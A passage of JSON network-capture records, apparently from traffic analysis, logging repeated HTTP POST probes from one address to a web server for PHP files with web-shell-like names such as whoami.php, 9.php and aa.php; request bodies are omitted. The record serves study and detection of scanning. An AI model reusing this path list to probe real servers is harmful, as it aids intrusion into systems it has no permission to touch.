            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/www.php",
            "http.response_in": "609",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/www.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-421acf7cd1d21587d3c192b9",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 608,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255622.820069000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ffr.php",
            "http.response_in": "612",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ffr.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-04b0a2d0b03dd8ee3ea9a62f",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 611,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255623.655459000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/411.php",
            "http.response_in": "615",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/411.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-308b3e15bea1e0a872958071",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 614,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255623.934209000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/415.php",
            "http.response_in": "618",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/415.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2abea1ce455be1b66496d25b",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 617,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255624.212709000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/421.php",
            "http.response_in": "621",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/421.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3b8b851226c6c12adea5d795",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 620,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255625.061893000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/444.php",
            "http.response_in": "624",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/444.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-33e58e893e84bb344e4e531b",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 623,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255625.638735000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/a411.php",
            "http.response_in": "627",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/a411.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b237dbbfebfbe30d82dd0976",
          "src_port": 55005,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 626,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255626.562659000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/whoami.php",
            "http.response_in": "636",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/whoami.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e9e7426b62aad521393d95d2",
          "src_port": 59562,
          "tcp_stream": 17,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 634,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255629.867708000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/whoami.php.php",
            "http.response_in": "646",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/whoami.php.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-17804f86db4b6f7db39b6449",
          "src_port": 59916,
          "tcp_stream": 18,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 644,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255632.062222000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/9.php",
            "http.response_in": "649",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/9.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e4d72b959a49d6f67eda7125",
          "src_port": 59916,
          "tcp_stream": 18,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 648,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255632.326815000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/98k.php",
            "http.response_in": "652",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/98k.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-0fddb7867a491e8601b51a17",
          "src_port": 59916,
          "tcp_stream": 18,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 651,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255635.006583000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/981.php",
            "http.response_in": "655",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/981.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1d7ffabfbe6584c31f84b3ef",
          "src_port": 59916,
          "tcp_stream": 18,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 654,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255635.270988000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/887.php",
            "http.response_in": "659",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/887.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-770c6ba216cad8d8cb4cb1a3",
          "src_port": 59916,
          "tcp_stream": 18,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 657,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255637.840125000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/888.php",
            "http.response_in": "662",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/888.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-fba6c83447ca1e0debbe1f83",
          "src_port": 59916,
          "tcp_stream": 18,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 661,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255638.471336000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/aa.php",
            "http.response_in": "672",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/aa.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ce548b6a1a987eb40ffe5c2a",
          "src_port": 61842,
          "tcp_stream": 19,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 670,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255644.950557000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/pp.php",
            "http.response_in": "684",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/pp.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-830edb1700a4d40b8e1ec477",
          "src_port": 62674,
          "tcp_stream": 21,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 682,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255649.872615000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/tt.php",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/tt.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6d73d4cca9f54c1f1f940320",
          "src_port": 62674,
          "tcp_stream": 21,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 687,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255655.051084000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/bbq.php",
            "http.response_in": "701",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/bbq.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-053bb7f73b81184d120c0d5b",
          "src_port": 64064,
          "tcp_stream": 23,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 699,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255662.779024000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/jj1.php",
            "http.response_in": "704",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/jj1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-38f86cda2484ce83f8225aae",
          "src_port": 64064,
          "tcp_stream": 23,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 703,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255663.598513000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/jbb.php",
            "http.response_in": "707",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/jbb.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-04d923638fa9f0140df8ad1d",
          "src_port": 64064,
          "tcp_stream": 23,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 706,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255664.110095000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/7o.php",
            "http.response_in": "718",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/7o.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7da4e50f838135b27a7f2493",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 716,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255673.802539000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qwq.php",
            "http.response_in": "721",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qwq.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ed21fdd9a1a4171be678a386",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 720,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255674.305779000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/nb.php",
            "http.response_in": "724",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/nb.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ed5b6d42007e1bea092c4466",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 723,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255675.190009000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/kpl.php",
            "http.response_in": "727",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/kpl.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ec1d8b22cf464e9d16e6c597",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 726,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255677.218363000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/hgx.php",
            "http.response_in": "730",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/hgx.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e4fbecfa7076ab1cc955e56d",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 729,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255677.533532000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ppl.php",
            "http.response_in": "733",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ppl.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-938e2292ec2dd456a6a647c5",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 732,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255677.807975000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/tty.php",
            "http.response_in": "736",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/tty.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-bfd0f6079fc50071a17443ab",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 735,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255678.591917000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ooi.php",
            "http.response_in": "739",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ooi.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-464f93427b88eb2a83107045",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 738,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255679.558468000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/aap.php",
            "http.response_in": "742",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/aap.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c9bc7a3c5285900f1cafa76a",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 741,
          "body_features": {
